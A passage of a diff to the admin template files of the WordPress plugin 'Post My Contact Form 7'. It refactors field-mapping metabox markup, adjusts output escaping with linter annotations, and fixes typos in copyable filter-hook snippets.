-	<div id="post-type-exists"<?php echo esc_html( ( 'system' === $source ) ? '' : ' class="display-none"' ); ?>>
+	<div id="post-type-exists" <?php echo ( 'system' === $source ) ? '' : 'class="display-none"'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- hardcoded attribute fragment, not user input. ?>>
 		<label class="post_type_labels" for="system-post-type"><?php echo esc_html( __( 'Select a Post', 'post-my-contact-form-7' ) ); ?></label>
 		<select id="system-post-type" class="select-hybrid" name="system_post_type" >
 			<?php
@@ -80,53 +79,53 @@
 			?>
 		</select>
 	</div>
-	<div id="post-type-select" <?php echo esc_html( ( 'system' === $source ) ? ' class="display-none"' : '' ); ?>>
+	<div id="post-type-select" <?php echo ( 'system' === $source ) ? 'class="display-none"' : ''; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- hardcoded attribute fragment, not user input. ?>>
 		<label for="custom-post-type" class="post-type-labels"><?php echo esc_html( __( 'Post type', 'post-my-contact-form-7' ) ); ?>
-			<input name="custom_post_type"  id="custom-post-type" value="<?php echo esc_attr( $post_mapper->get( 'type' ) ); ?>" type="text"/>
+			<input name="custom_post_type" id="custom-post-type" value="<?php echo esc_attr( $post_mapper->get( 'type' ) ); ?>" type="text"/>
 		</label>
 		<label for="mapped_post_singular_name" class="post_type_labels"><?php echo esc_html( __( 'Singular name', 'post-my-contact-form-7' ) ); ?>
-			<input name="mapped_post_singular_name"   id="post_singular_name" value="<?php echo esc_attr( $post_mapper->get( 'singular_name' ) ); ?>" type="text"/>
+			<input name="mapped_post_singular_name" id="post_singular_name" value="<?php echo esc_attr( $post_mapper->get( 'singular_name' ) ); ?>" type="text"/>
 		</label>
 		<label for="post-plural-name" class="post_type_labels"><?php echo esc_html( __( 'Plural name', 'post-my-contact-form-7' ) ); ?>
-			<input name="mapped_post_plural_name"  id="post-plural-name" value="<?php echo esc_attr( $post_mapper->get( 'plural_name' ) ); ?>" type="text"/>
+			<input name="mapped_post_plural_name" id="post-plural-name" value="<?php echo esc_attr( $post_mapper->get( 'plural_name' ) ); ?>" type="text"/>
 		</label>
 		<p class="post-type-display">
 			<?php echo esc_html( __( 'Attributes', 'post-my-contact-form-7' ) ); ?>
 		</p>
 		<label class="post_type_cb_labels">
-			<input type="checkbox" <?php echo esc_html( $post_mapper->is( 'hierarchical', 'checked="checked"' ) ); ?> name="mapped_post_hierarchical" value="true" class="c2cpt-attribute"/> hierarchical
+			<input type="checkbox" <?php echo $post_mapper->is( 'hierarchical', 'checked="checked"' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- hardcoded attribute fragment, not user input. ?> name="mapped_post_hierarchical" value="true" class="c2cpt-attribute"/> hierarchical
 		</label>
 		<label class="post_type_cb_labels">
-			<input type="checkbox" <?php echo esc_html( $post_mapper->is( 'public', 'checked="checked"' ) ); ?> name="mapped_post_public" value="true" class="c2cpt-attribute"/>public
+			<input type="checkbox" <?php echo $post_mapper->is( 'public', 'checked="checked"' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- hardcoded attribute fragment, not user input. ?> name="mapped_post_public" value="true" class="c2cpt-attribute"/>public
 		</label>
 		<label class="post_type_cb_labels">
-			<input type="checkbox" <?php echo esc_html( $post_mapper->is( 'show_ui', 'checked="checked"' ) ); ?> name="mapped_post_show_ui" value="true" class="c2cpt-attribute"/>show_ui
+			<input type="checkbox" <?php echo $post_mapper->is( 'show_ui', 'checked="checked"' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- hardcoded attribute fragment, not user input. ?> name="mapped_post_show_ui" value="true" class="c2cpt-attribute"/>show_ui
 		</label>
 		<label class="post_type_cb_labels">
-			<input id="menu-position-checkbox" type="checkbox" <?php echo esc_html( $post_mapper->is( 'show_in_menu', 'checked="checked"' ) ); ?> name="mapped_post_show_in_menu" value="true" class="c2cpt-attribute"/>show_in_menu
+			<input id="menu-position-checkbox" type="checkbox" <?php echo $post_mapper->is( 'show_in_menu', 'checked="checked"' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- hardcoded attribute fragment, not user input. ?> name="mapped_post_show_in_menu" value="true" class="c2cpt-attribute"/>show_in_menu
 		</label>
 		<div id="menu-position">
 			<label class="post_type_cb_labels">menu_position
-				<input style="width:45px;" type="number" value="<?php echo esc_html( $post_mapper->get( 'menu_position' ) ); ?>" size="3" name="mapped_post_menu_position" class="c2cpt-attribute"/>
+				<input style="width:45px;" type="number" value="<?php echo esc_attr( $post_mapper->get( 'menu_position' ) ); ?>" size="3" name="mapped_post_menu_position" class="c2cpt-attribute"/>
 			</label>
 		</div>
 		<label class="post_type_cb_labels">
-			<input type="checkbox" <?php echo esc_html( $post_mapper->is( 'show_in_admin_bar', 'checked="checked"' ) ); ?> name="mapped_post_show_in_admin_bar"  value="true" class="c2cpt-attribute"/>show_in_admin_bar
+			<input type="checkbox" <?php echo $post_mapper->is( 'show_in_admin_bar', 'checked="checked"' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- hardcoded attribute fragment, not user input. ?> name="mapped_post_show_in_admin_bar" value="true" class="c2cpt-attribute"/>show_in_admin_bar
 		</label>
 		<label class="post_type_cb_labels">
-			<input type="checkbox" <?php echo esc_html( $post_mapper->is( 'show_in_nav_menus', 'checked="checked"' ) ); ?> name="mapped_post_show_in_nav_menus" value="true" class="c2cpt-attribute"/>show_in_nav_menus
+			<input type="checkbox" <?php echo $post_mapper->is( 'show_in_nav_menus', 'checked="checked"' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- hardcoded attribute fragment, not user input. ?> name="mapped_post_show_in_nav_menus" value="true" class="c2cpt-attribute"/>show_in_nav_menus
 		</label>
 		<label class="post_type_cb_labels">
-			<input type="checkbox" <?php echo esc_html( $post_mapper->is( 'can_export', 'checked="checked"' ) ); ?> name="mapped_post_can_export" value="true" class="c2cpt-attribute"/>can_export
+			<input type="checkbox" <?php echo $post_mapper->is( 'can_export', 'checked="checked"' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- hardcoded attribute fragment, not user input. ?> name="mapped_post_can_export" value="true" class="c2cpt-attribute"/>can_export
 		</label>
 		<label class="post_type_cb_labels">
-			<input type="checkbox" <?php echo esc_html( $post_mapper->is( 'has_archive', 'checked="checked"' ) ); ?> name="mapped_post_has_archive" value="true" class="c2cpt-attribute"/>has_archive
+			<input type="checkbox" <?php echo $post_mapper->is( 'has_archive', 'checked="checked"' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- hardcoded attribute fragment, not user input. ?> name="mapped_post_has_archive" value="true" class="c2cpt-attribute"/>has_archive
 		</label>
 		<label class="post_type_cb_labels">
-			<input type="checkbox" <?php echo esc_html( $post_mapper->is( 'exclude_from_search', 'checked="checked"' ) ); ?> name="mapped_post_exclude_from_search" value="true" class="c2cpt-attribute"/>exclude_from_search
+			<input type="checkbox" <?php echo $post_mapper->is( 'exclude_from_search', 'checked="checked"' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- hardcoded attribute fragment, not user input. ?> name="mapped_post_exclude_from_search" value="true" class="c2cpt-attribute"/>exclude_from_search
 		</label>
 		<label class="post_type_cb_labels">
-			<input type="checkbox" <?php echo esc_html( $post_mapper->is( 'publicly_queryable', 'checked="checked"' ) ); ?> name="mapped_post_publicly_queryable" value="true" class="c2cpt-attribute"/>publicly_queryable
+			<input type="checkbox" <?php echo $post_mapper->is( 'publicly_queryable', 'checked="checked"' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- hardcoded attribute fragment, not user input. ?> name="mapped_post_publicly_queryable" value="true" class="c2cpt-attribute"/>publicly_queryable
 		</label>
 		<p>
 			<?php
@@ -156,9 +155,8 @@
 			'slug'      => __( 'Post slug', 'post-my-contact-form-7' ),
 			'author'    => __( 'Post author', 'post-my-contact-form-7' ),
 		);
-
+
 		foreach ( $post_fields as $fid => $l ) {
-			// debug_msg("{$fid}=>{$post_mapper->get_mapped_form_field( $fid )}");
 			$prt = sprintf(
 				'<li id="c2p-%2$s">
 					<div class="cf7-2-post-field">
@@ -172,10 +170,9 @@
 				esc_html( $l ), // %1 - Label.
 				esc_attr( $fid ), // %2 - field id/name.
 				esc_attr( $post_mapper->get_mapped_form_field( $fid ) ), // %3 - mapped form field.
-				esc_attr( $mapped_post_type ), // %4 - mapped post type.
+				esc_attr( $mapped_post_type ) // %4 - mapped post type.
 			);
-			debug_msg($prt);
-			echo $prt;
+			echo $prt; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- all dynamic values are pre-escaped above via esc_html()/esc_attr().
 		}
 		?>
 	</ul>
@@ -194,7 +191,7 @@
 			),
 			array(
 				'a' => array( 'href' => array() ),
-			),
+			)
 		);
 		?>
 		.</p>
@@ -207,7 +204,7 @@
 			__( 'Only %1$s form fields can be mapped to a taxonomy, create the field with empty options and the plugin will populate the field with the taxonomy terms it is mapped to.', 'post-my-contact-form-7' ),
 			'<strong>checkbox|radio|select</strong>'
 		),
-		array( 'strong' => array() ),
+		array( 'strong' => array() )
 	);
 	?>
 	</p>
@@ -226,7 +223,7 @@
 			'strong' => array(),
 			'em'     => array(),
 			'a'      => array( 'href' => array() ),
-		),
+		)
 	);
 	?>
 		</li>
@@ -244,7 +241,7 @@
 			'strong' => array(),
 			'em'     => array(),
 			'a'      => array( 'href' => array() ),
-		),
+		)
 	);
 	?>
 		</li>
@@ -258,7 +255,7 @@
 			),
 			array(
 				'a' => array( 'href' => array() ),
-			),
+			)
 		);
 		?>
 		</li>
@@ -276,4 +273,4 @@
 		include_once 'cf7-2-post-helper-metabox.php';
 	}
 	?>
-</div>
+</div>
 No newline at end of file
--- a/post-my-contact-form-7/admin/partials/cf7-2-post-field-metabox.php
+++ b/post-my-contact-form-7/admin/partials/cf7-2-post-field-metabox.php
@@ -12,61 +12,96 @@
 if ( ! defined( 'ABSPATH' ) ) {
 	exit; // Exit if accessed directly.
 }
+
+// Ensure variables are defined.
+$source        = isset( $source ) ? $source : 'custom';
+$post_mapper   = isset( $post_mapper ) ? $post_mapper : null;
+$factory       = isset( $factory ) ? $factory : null;
+
+if ( empty( $post_mapper ) || empty( $factory ) ) {
+	return;
+}
+
 $mapped_fields = $post_mapper->get_mapped_meta_fields();
 foreach ( $mapped_fields as $cf7_field => $post_field ) :
 	?>
 	<li>
-	<div class="post-meta-field cf7-2-post-field">
-		<div class="post-field-name">
-		<?php
-		if ( 'system' === $source ) {
-			echo wp_kses( $factory->get_metafield_menu( $post_mapper->get( 'type' ), $post_field ), $factory::$allowed_html );
-		} else {
-			echo '<input name="cf7_2_post_map_meta-' . esc_attr( $post_field ) . '" class="cf7-2-post-map-labels" type="text" value="' . esc_attr( $post_field ) . '"/>';
-		}
-		?>
+		<div class="post-meta-field cf7-2-post-field">
+			<div class="post-field-name">
+				<?php if ( 'system' === $source ) : ?>
+					<?php echo wp_kses( $factory->get_metafield_menu( $post_mapper->get( 'type' ), $post_field ), $factory::$allowed_html ); ?>
+				<?php else : ?>
+					<input
+						name="cf7_2_post_map_meta-<?php echo esc_attr( $post_field ); ?>"
+						class="cf7-2-post-map-labels"
+						type="text"
+						value="<?php echo esc_attr( $post_field ); ?>"
+					/>
+				<?php endif; ?>
+			</div>
+
+			<?php
+			// Display the meta-field's form field dropdown.
+			$select_name  = 'cf7_2_post_map_meta_value-' . $post_field;
+			$filter_value = 'cf7_2_post_filter-' . $post_mapper->get( 'type' ) . '-' . $post_field;
+			$disabled     = '';
+			?>
+			<select
+				name="<?php echo esc_attr( $select_name ); ?>"
+				data-c2p-ff="<?php echo esc_attr( $cf7_field ); ?>"
+				class="field-options post-options select-hybrid"
+				<?php echo esc_attr( $disabled ); ?>
+			>
+				<option class="default-option" selected value="">
+					<?php echo esc_html__( 'Select a form field', 'post-my-contact-form-7' ); ?>
+				</option>
+				<option class="filter-option" value="<?php echo esc_attr( $filter_value ); ?>">
+					<?php echo esc_html__( 'Hook with a filter', 'post-my-contact-form-7' ); ?>
+				</option>
+			</select>
+
+			<span class="dashicons dashicons-remove remove-field"></span>
 		</div>
-		<?php
-		// display the meta-field's form field dropdown.
-		echo sprintf(
-			'<select %4$s name="cf7_2_post_map_meta_value%1$s" data-c2p-ff="%2$s" class="field-options post-options select-hybrid">
-				<option class="default-option" selected="true" value="">' . esc_html( __( 'Select a form field', 'post-my-contact-form-7' ) ) . '</option>
-				<option class="filter-option" value="cf7_2_post_filter%3$s%1$s">' . esc_html( __( 'Hook with a filter', 'post-my-contact-form-7' ) ) . '</option>
-			</select>',
-			esc_attr( "-$post_field" ), // %1 - post-field name.
-			esc_attr( $cf7_field ), // %2 - form-field name.
-			esc_attr( "-{$post_mapper->get('type')}" ), // %3 - post type.
-			''// %4 - disabled attr.
-		);
-		?>
-		<span class="dashicons dashicons-remove remove-field"></span>
-	</div><span class="cf7-post-msg"></span>
+		<span class="cf7-post-msg"></span>
 	</li>
-	<?php endforeach; ?>
-	<li class="default-meta-field">
+<?php endforeach; ?>
+
+<li class="default-meta-field">
 	<div class="post-meta-field cf7-2-post-field">
 		<span class="spinner meta-label"></span>
 		<div class="post-field-name">
-		<?php
-		if ( 'system' == $source ) {
-			echo wp_kses( $factory->get_metafield_menu( $post_mapper->get( 'type' ), '' ), $factory::$allowed_html );
-		} else {
-			echo '<input disabled="true" name="cf7_2_post_map_meta-meta_key_1" class="cf7-2-post-map-labels" type="text" value="meta_key_1"/>';
-		}
-		?>
+			<?php if ( 'system' === $source ) : ?>
+				<?php echo wp_kses( $factory->get_metafield_menu( $post_mapper->get( 'type' ), '' ), $factory::$allowed_html ); ?>
+			<?php else : ?>
+				<input
+					disabled
+					name="cf7_2_post_map_meta-meta_key_1"
+					class="cf7-2-post-map-labels"
+					type="text"
+					value="meta_key_1"
+				/>
+			<?php endif; ?>
 		</div>
+
 		<?php
-		echo sprintf(
-			'<select %4$s name="cf7_2_post_map_meta_value%1$s" data-c2p-ff="%2$s" class="field-options post-options select-hybrid">
-				<option class="default-option" selected="true" value="">' . esc_html( __( 'Select a form field', 'post-my-contact-form-7' ) ) . '</option>
-				<option class="filter-option" value="cf7_2_post_filter%3$s%1$s">' . esc_html( __( 'Hook with a filter', 'post-my-contact-form-7' ) ) . '</option>
-			</select>',
-			'-meta_key_1', // %1 - post-field name.
-			'', // %2 - form-field name.
-			'', // %3 - post type.
-			'disabled="true"' // %4 - disabled attr.
-		); // display the form field selevt.
+		// Display the form field select for new meta field.
+		$select_name  = 'cf7_2_post_map_meta_value-meta_key_1';
+		$filter_value = 'cf7_2_post_filter-' . $post_mapper->get( 'type' ) . '-meta_key_1';
 		?>
+		<select
+			disabled
+			name="<?php echo esc_attr( $select_name ); ?>"
+			data-c2p-ff=""
+			class="field-options post-options select-hybrid"
+		>
+			<option class="default-option" selected value="">
+				<?php echo esc_html__( 'Select a form field', 'post-my-contact-form-7' ); ?>
+			</option>
+			<option class="filter-option" value="<?php echo esc_attr( $filter_value ); ?>">
+				<?php echo esc_html__( 'Hook with a filter', 'post-my-contact-form-7' ); ?>
+			</option>
+		</select>
+
 		<span class="dashicons dashicons-insert add-more-field"></span>
 	</div>
-</li>
+</li>
 No newline at end of file
--- a/post-my-contact-form-7/admin/partials/cf7-2-post-helper-metabox.php
+++ b/post-my-contact-form-7/admin/partials/cf7-2-post-helper-metabox.php
@@ -18,7 +18,7 @@
 		<?php
 		echo wp_kses(
 			__( 'Click on a link to copy the helper snippet code and paste it in your <em>functions.php</em> file.', 'post-my-contact-form-7' ),
-			array( 'em' => array() ),
+			array( 'em' => array() )
 		);
 		?>
 	</p>
@@ -26,7 +26,10 @@
 	<div class="postbox-header">
 		<h4><?php esc_html_e( 'Admin hooks', 'post-my-contact-form-7' ); ?></h4>
 		<div class="handle-actions hide-if-no-js">
-		<button type="button" class="handlediv button-link" aria-expanded="false"><span class="screen-reader-text"><?php esc_html_e( 'Toggle panel: Helper', 'post-my-contact-form-7' ); ?></span><span class="toggle-indicator" aria-hidden="true"></span></button>
+		<button type="button" class="handlediv button-link" aria-expanded="false">
+			<span class="screen-reader-text"><?php esc_html_e( 'Toggle panel: Helper', 'post-my-contact-form-7' ); ?></span>
+			<span class="toggle-indicator" aria-hidden="true"></span>
+		</button>
 		</div>
 	</div>
 	<div class="inside">
@@ -45,14 +48,14 @@
 	function set_supports($supports){
 	$default_supports[]='comments';
 	return $default_supports;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Post Supports Filter', 'post-my-contact-form-7' ); ?></a>
+	}" href="#"><?php esc_html_e( 'Post Supports Filter', 'post-my-contact-form-7' ); ?></a>
 	<?php
 		echo wp_kses(
 			__( 'custom post <code>supports</code> attributes (<a href="https://codex.wordpress.org/Function_Reference/register_post_type#supports">documentation</a>).', 'post-my-contact-form-7' ),
 			array(
 				'code' => array(),
 				'a'    => array( 'href' => array() ),
-			),
+			)
 		);
 		?>
 		</li>
@@ -68,7 +71,7 @@
 	function cf7_2_modified_custom_post_type($post_args){
 	$post_args['rewrite']['slug'] = 'my-custom-slug'; //post slug for url front access
 	return $post_args;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Custom Post Registration Filter', 'post-my-contact-form-7' ); ?></a>
+	}" href="#"><?php esc_html_e( 'Custom Post Registration Filter', 'post-my-contact-form-7' ); ?></a>
 	<?php
 	echo wp_kses(
 		__( 'to further customise custom post registration arguments(<a href="https://codex.wordpress.org/Function_Reference/register_post_type#Arguments">documentation</a>).', 'post-my-contact-form-7' ),
@@ -98,14 +101,14 @@
 	);
 	/*All capabilities must be set, else the plugin will default back to default `post` capabilities.  Also, make sure you assign each of these capabilities to the admin role (or other roles/users) else you won't be able to access your custom post.*/
 	return $capabilities;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Post Access Filter', 'post-my-contact-form-7' ); ?></a>
+	}" href="#"><?php esc_html_e( 'Post Access Filter', 'post-my-contact-form-7' ); ?></a>
 	<?php
 	echo wp_kses(
 		__( 'custom post access <code>capabilities</code> (<a href="http://wordpress.stackexchange.com/questions/108338/capabilities-and-custom-post-types">documentation</a>).', 'post-my-contact-form-7' ),
 		array(
 			'code' => array(),
 			'a'    => array( 'href' => array() ),
-		),
+		)
 	);
 	?>
 		</li>
@@ -121,13 +124,13 @@
 	function register_custom_tags($taxonomy_arg){
 	$taxonomy_arg['hierarchical'] = false;
 	return $taxonomy_arg;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Taxonomy Registration Filter', 'post-my-contact-form-7' ); ?></a>
+	}" href="#"><?php esc_html_e( 'Taxonomy Registration Filter', 'post-my-contact-form-7' ); ?></a>
 	<?php
 	echo wp_kses(
 		__( 'to change custom taxonomy like tags (<a href="https://codex.wordpress.org/Function_Reference/register_taxonomy#Arguments">documentation</a>).', 'post-my-contact-form-7' ),
 		array(
 			'a' => array( 'href' => array() ),
-		),
+		)
 	);
 	?>
 		</li>
@@ -148,7 +151,7 @@
 		$skip = false;
 	}
 	return $skip;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Internal Meta Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'to show system post internal meta-fields.', 'post-my-contact-form-7' ); ?>
+	}" href="#"><?php esc_html_e( 'Internal Meta Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'to show system post internal meta-fields.', 'post-my-contact-form-7' ); ?>
 		</li>
 		<li class="system-hook">1.6
 			<a class="helper" data-cf72post="add_filter('cf7_2_post_display_system_posts', 'filter_posts');
@@ -163,7 +166,7 @@
 	//add an existing post type and label,
 	$displayed_posts['some_post'] = 'Some Post';
 	return $displayed_posts;
-	}" href="javascript:void(0);"><?php esc_html_e( 'System Post Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'to show hidden system post for mapping.', 'post-my-contact-form-7' ); ?>
+	}" href="#"><?php esc_html_e( 'System Post Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'to show hidden system post for mapping.', 'post-my-contact-form-7' ); ?>
 		</li>
 		<li class="system-hook">1.7
 			<a class="helper" data-cf72post="add_filter('cf7_2_post_filter_user_draft_form_query', 'filter_user_post_for_prefill', 10, 3);
@@ -182,7 +185,7 @@
 	//if a form is submitted or saved as a draft. No for drafts, Yes for submitted.
 	$query_args['meta_query']['value']='yes';
 	return $query_args;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'user post query for form prefill.', 'post-my-contact-form-7' ); ?>
+	}" href="#"><?php esc_html_e( 'Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'user post query for form prefill.', 'post-my-contact-form-7' ); ?>
 		</li>
 		<li class="system-hook factory-hook">1.7
 			<a class="helper" data-cf72post="add_filter('cf7_2_post_delete_submitted_posts', 'delete_posts_on_delete_form',10, 3);
@@ -198,7 +201,7 @@
 	//you can check by post type or form key.
 	if('{$form_key}'==$form_key) $delete_posts = true;
 	return $delete_posts;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'flag delete posts on delete form.', 'post-my-contact-form-7' ); ?>
+	}" href="#"><?php esc_html_e( 'Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'flag delete posts on delete form.', 'post-my-contact-form-7' ); ?>
 		</li>
 		</ul>
 	</div>
@@ -207,7 +210,10 @@
 	<div id="loading-hooks" class="postbox<?php echo esc_attr( $closed ); ?>">
 	<div class="postbox-header">
 		<h4><?php esc_html_e( 'Form loading hooks', 'post-my-contact-form-7' ); ?></h4>
-		<button type="button" class="handlediv button-link" aria-expanded="false"><span class="screen-reader-text"><?php esc_html_e( 'Toggle panel: Loading Hooks', 'post-my-contact-form-7' ); ?></span><span class="toggle-indicator" aria-hidden="true"></span></button>
+		<button type="button" class="handlediv button-link" aria-expanded="false">
+			<span class="screen-reader-text"><?php esc_html_e( 'Toggle panel: Loading Hooks', 'post-my-contact-form-7' ); ?></span>
+			<span class="toggle-indicator" aria-hidden="true"></span>
+		</button>
 	</div>
 	<div class="inside">
 		<p>
@@ -249,7 +255,7 @@
 		ob_end_clean();
 	}
 	return $script;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Custom javascript', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'appended at the end of your form.', 'post-my-contact-form-7' ); ?>
+	}" href="#"><?php esc_html_e( 'Custom javascript', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'appended at the end of your form.', 'post-my-contact-form-7' ); ?>
 			</li>
 			<li>2.2)
 			<a class="helper" data-cf72post="add_filter( 'cf7_2_post_filter_cf7_field_value', 'field_default_value',10,5);
@@ -277,7 +283,7 @@
 		break;
 	}
 	return $value;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Default Values Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'default field value when form is displayed.', 'post-my-contact-form-7' ); ?>
+	}" href="#"><?php esc_html_e( 'Default Values Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'default field value when form is displayed.', 'post-my-contact-form-7' ); ?>
 			</li>
 			<li  class="display-none c2p-taxonomy">
 			<a class="helper" data-cf72post="add_filter('cf7_2_post_filter_cf7_taxonomy_terms', 'modify_my_terms',10,4);
@@ -299,7 +305,7 @@
 		$terms_id[] = $term->term_id;
 	}
 	return $terms_id;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Filter default selected', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'taxonomy terms in dropdown/radio/checkbox.', 'post-my-contact-form-7' ); ?>
+	}" href="#"><?php esc_html_e( 'Filter default selected', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'taxonomy terms in dropdown/radio/checkbox.', 'post-my-contact-form-7' ); ?>
 			</li>
 			<li class="display-none c2p-taxonomy">
 			<a class="helper" data-cf72post="add_filter( 'cf7_2_post_filter_taxonomy_query', 'filter_taxonomy_terms',10, 6);
@@ -336,7 +342,7 @@
 		}
 	}
 	return $query;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Filter term list', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'in mapped taxonomy field.', 'post-my-contact-form-7' ); ?>
+	}" href="#"><?php esc_html_e( 'Filter term list', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'in mapped taxonomy field.', 'post-my-contact-form-7' ); ?>
 		</li>
 			<li>2.3)
 			<a class="helper" data-cf72post="add_filter( 'cf7_2_post_print_page_nocache_metas','disable_page_cache_metas',10);
@@ -352,7 +358,7 @@
 	//or you can check if perticular page template is used.
 	if(is_page_template( 'page-contact.php')) $print_on_page = false;
 	return $print_on_page;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Page Cache Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'to remove nocache meta tags in <head>.', 'post-my-contact-form-7' ); ?>
+	}" href="#"><?php esc_html_e( 'Page Cache Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'to remove nocache meta tags in <head>.', 'post-my-contact-form-7' ); ?>
 		</li>
 		<li>2.4)
 			<a class="helper" data-cf72post="add_filter( 'cf7_2_post_filter_user_draft_form_query','filter_posts_query_prefill_{$form_key_f}',10,3);
@@ -367,8 +373,8 @@
 	function filter_posts_query_prefill_{$form_key_f}($args, $post_type, $cf7_key){
 	if('{$form_key}'!=$cf7_key) return $args;
 	//modify the $args to target the post to prefill the form for this user.
-	rturn $args
-	}" href="javascript:void(0);"><?php esc_html_e( 'Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'prefill post query.', 'post-my-contact-form-7' ); ?>
+	return $args;
+	}" href="#"><?php esc_html_e( 'Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'prefill post query.', 'post-my-contact-form-7' ); ?>
 		</li>
 		</ul>
 	</div>
@@ -376,7 +382,10 @@
 	<div id="submit-hooks" class="postbox<?php echo esc_attr( $closed ); ?>">
 	<div class="postbox-header">
 		<h4><?php esc_html_e( 'Form submitted hooks', 'post-my-contact-form-7' ); ?></h4>
-		<button type="button" class="handlediv button-link" aria-expanded="false"><span class="screen-reader-text"><?php esc_html_e( 'Toggle panel: Submitted hooks', 'post-my-contact-form-7' ); ?></span><span class="toggle-indicator" aria-hidden="true"></span></button>
+		<button type="button" class="handlediv button-link" aria-expanded="false">
+			<span class="screen-reader-text"><?php esc_html_e( 'Toggle panel: Submitted hooks', 'post-my-contact-form-7' ); ?></span>
+			<span class="toggle-indicator" aria-hidden="true"></span>
+		</button>
 	</div>
 	<div class="inside">
 		<p>
@@ -398,7 +407,7 @@
 	function set_{$post_type_f}_author($author_id, $cf7_id, $submitted_data, $cf7_key){
 	//... do something here and set a new author ID with a valid user id which exists in the user table.
 	return $author_id;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Author Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'the author of the submitted post .', 'post-my-contact-form-7' ); ?>
+	}" href="#"><?php esc_html_e( 'Author Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'the author of the submitted post .', 'post-my-contact-form-7' ); ?>
 			</li>
 			<li>3.2)
 			<a class="helper" data-cf72post="add_filter( 'cf7_2_post_status_{$post_type}', 'publish_new_{$post_type_f}',10,3);
@@ -412,16 +421,18 @@
 	function publish_new_{$post_type_f}($status, $ckf7_key, $submitted_data){
 	/*The default behaviour is to save post to 'draft' status.  If you wish to change this, you can use this filter and return a valid post status: 'publish'|'draft'|'pending'|'trash'*/
 	return 'publish';
-	}" href="javascript:void(0);"><?php esc_html_e( 'Post Status Filter', 'post-my-contact-form-7' ); ?></a>
+	}" href="#"><?php esc_html_e( 'Post Status Filter', 'post-my-contact-form-7' ); ?></a>
 	<?php
 	echo wp_kses(
 		__( 'to automatically publish submitted post (<a href="https://codex.wordpress.org/Function_Reference/get_post_status#Return_Values">documentation</a>).', 'post-my-contact-form-7' ),
-		array( 'a' => array( 'href' => array() ) ),
+		array(
+			'a' => array( 'href' => array() ),
+		)
 	);
 	?>
 			</li>
 			<li>3.3)
-			<a class="helper" data-cf72post="add_fitler('cf7_2_post_draft_skips_validation', 'force_validation', 10, 2);
+			<a class="helper" data-cf72post="add_filter('cf7_2_post_draft_skips_validation', 'force_validation', 10, 2);
 	/**
 	* Function to force field validation when draft form is saved.
 	* @param boolean $skip_validation true by default.
@@ -433,27 +444,27 @@
 	if('{$form_key}' == $cf7_key){
 		$skip_validation = false;
 	}
-	return skip_validation;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Draft Validation Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'to enable field validation on draft form saved.', 'post-my-contact-form-7' ); ?>
+	return $skip_validation;
+	}" href="#"><?php esc_html_e( 'Draft Validation Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'to enable field validation on draft form saved.', 'post-my-contact-form-7' ); ?>
 			</li>
 			<li>3.4)
-			<a class="helper" data-cf72post="add_fitler('cf7_2_post_transient_submission_expiration', 'keep_transient',10,2);
+			<a class="helper" data-cf72post="add_filter('cf7_2_post_transient_submission_expiration', 'keep_transient',10,2);
 	/**
 	* Function change the expiration of transient saved post ID after a submission.
 	* @param int $time value in seconds, default is 300 = 5 mins.
 	* @param string $cf7_key unique key to identify your form.
 	* @return int time in seconds to expiration of the transient post ID.
 	*/
-	function force_notification($time, $cf7_key){
+	function keep_transient($time, $cf7_key){
